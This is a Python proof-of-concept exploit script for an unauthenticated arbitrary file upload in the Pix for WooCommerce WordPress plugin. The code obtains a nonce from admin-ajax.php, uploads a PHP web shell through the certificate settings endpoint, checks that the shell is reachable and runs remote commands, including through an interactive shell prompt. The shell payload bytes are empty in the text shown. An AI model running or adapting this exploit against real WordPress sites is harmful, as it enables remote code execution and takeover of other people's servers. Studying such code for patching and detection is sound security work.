#!/usr/bin/env python3 # CVE-2026-3891 — Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload # Affected: payment-gateway-pix-for-woocommerce <= 1.5.0 # Impact: Unauthenticated attacker can upload arbitrary files (e.g. PHP webshells) to the server # Author: Joshua van der Poll (https://github.com/joshuavanderpoll) # Repo: https://github.com/joshuavanderpoll/CVE-2026-3891 import argparse import json import os import sys import tempfile import warnings import requests warnings.filterwarnings("ignore") RESET = "\033[0m" BOLD = "\033[1m" RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" PINK = "\033[95m" CYAN = "\033[96m" REPO = "https://github.com/joshuavanderpoll/CVE-2026-3891" SHELL_NAME = "shell.php" SHELL_PATH = f"wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/{SHELL_NAME}" parser = argparse.ArgumentParser(description="CVE-2026-3891 PoC") parser.add_argument("--url", required=True, help="Target WordPress base URL (e.g. https://target.com)") parser.add_argument("--command", default=None, help="Command to run on target after upload (e.g. whoami)") parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds (default: 10)") parser.add_argument("--useragent", default=f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-3891; +{REPO})", help="Custom User-Agent") args = parser.parse_args() BASE_URL = args.url.rstrip("/") TIMEOUT = args.timeout UA = args.useragent session = requests.Session() session.verify = False session.headers.update({"User-Agent": UA}) def info(msg): print(f" {CYAN}[*]{RESET} {msg}") def success(msg): print(f" {GREEN}[+]{RESET} {msg}") def error(msg): print(f" {RED}[-]{RESET} {msg}") def process(msg): print(f" {BLUE}[@]{RESET} {msg}") def banner(): print(f"\n{PINK}{BOLD}") print(r" _____ _____ ___ __ ___ __ ____ ___ ___ _ ") print(r" / __\ \ / / __|_|_ ) \_ )/ / __|__ /( _ ) _ \/ |") print(r" | (__ \ V /| _|___/ / () / // _ \___|_ \/ _ \_, /| |") print(r" \___| \_/ |___| /___\__/___\___/ |___/\___//_/ |_|") print(f"{RESET}") print(f" {PINK}{BOLD}{REPO}{RESET}\n") def get_nonce(): process("Fetching nonce ...") r = session.post( f"{BASE_URL}/wp-admin/admin-ajax.php", data={ "action": "lkn_pix_for_woocommerce_generate_nonce", "action_name": "lkn_pix_for_woocommerce_c6_settings_nonce", }, timeout=TIMEOUT, ) try: data = r.json() except Exception: error(f"Non-JSON nonce response: {r.text}") sys.exit(1) if not isinstance(data, dict) or not data.get("success"): error(f"Nonce request failed: {data}") sys.exit(1) nonce = data["data"]["nonce"] success(f"Nonce : {YELLOW}{nonce}{RESET}") return nonce def upload_shell(nonce): process(f"Uploading {SHELL_NAME} ...") shell_code = b"" with tempfile.NamedTemporaryFile(suffix=".php", delete=False) as tmp: tmp.write(shell_code) tmp_path = tmp.name try: data = { "action": "lkn_pix_for_woocommerce_c6_save_settings", "_ajax_nonce": nonce, "settings": json.dumps({"enabled": "yes", "title": "PIX C6", "pix_expiration_minutes": 30}), } with open(tmp_path, "rb") as f: files = { "certificate_crt_path": (SHELL_NAME, f, "application/octet-stream"), } r = session.post( f"{BASE_URL}/wp-admin/admin-ajax.php", data=data, files=files, timeout=TIMEOUT, ) finally: os.unlink(tmp_path) try: resp = r.json() except Exception: error(f"Unexpected response: {r.text}") sys.exit(1) if not resp.get("success"): error(f"Upload failed: {resp}") sys.exit(1) shell_url = f"{BASE_URL}/{SHELL_PATH}" success(f"Shell uploaded!") success(f"Remote path : {YELLOW}{SHELL_PATH}{RESET}") success(f"Shell URL : {YELLOW}{shell_url}{RESET}") return shell_url def verify_shell(url): process("Verifying shell is accessible ...") r = session.get(url, timeout=TIMEOUT) if r.status_code == 200: success(f"Shell is accessible! HTTP {r.status_code}") return True error(f"Shell returned HTTP {r.status_code} — may not be directly accessible") return False def run_command(shell_url, command): process(f"Running: {YELLOW}{command}{RESET}") r = session.get(shell_url, params={"0": command}, timeout=TIMEOUT) if r.status_code != 200 or not r.text.strip(): error(f"No output returned (HTTP {r.status_code})") return print() print(f" {BOLD}{'─' * 60}{RESET}") print(f" {GREEN}{r.text.strip()}{RESET}") print(f" {BOLD}{'─' * 60}{RESET}") print() def interactive_shell(shell_url): """Drop into a simple interactive prompt if no --command was given.""" info(f"Dropping into interactive shell. Type {YELLOW}exit{RESET} to quit.\n") while True: try: cmd = input(f" {PINK}shell{RESET}> ").strip() except (KeyboardInterrupt, EOFError): print() break if not cmd: continue if cmd.lower() in ("exit", "quit"): break run_command(shell_url, cmd) def main(): banner() info(f"Target : {YELLOW}{BASE_URL}{RESET}") info(f"Timeout : {YELLOW}{TIMEOUT}s{RESET}") print() nonce = get_nonce() print() shell_url = upload_shell(nonce) print() if not verify_shell(shell_url): sys.exit(1) print() if args.command: run_command(shell_url, args.command) else: interactive_shell(shell_url) print(f" {YELLOW}⭐ If this tool helped you, consider starring the repo: {BOLD}{REPO}{RESET}\n") if __name__ == "__main__": main()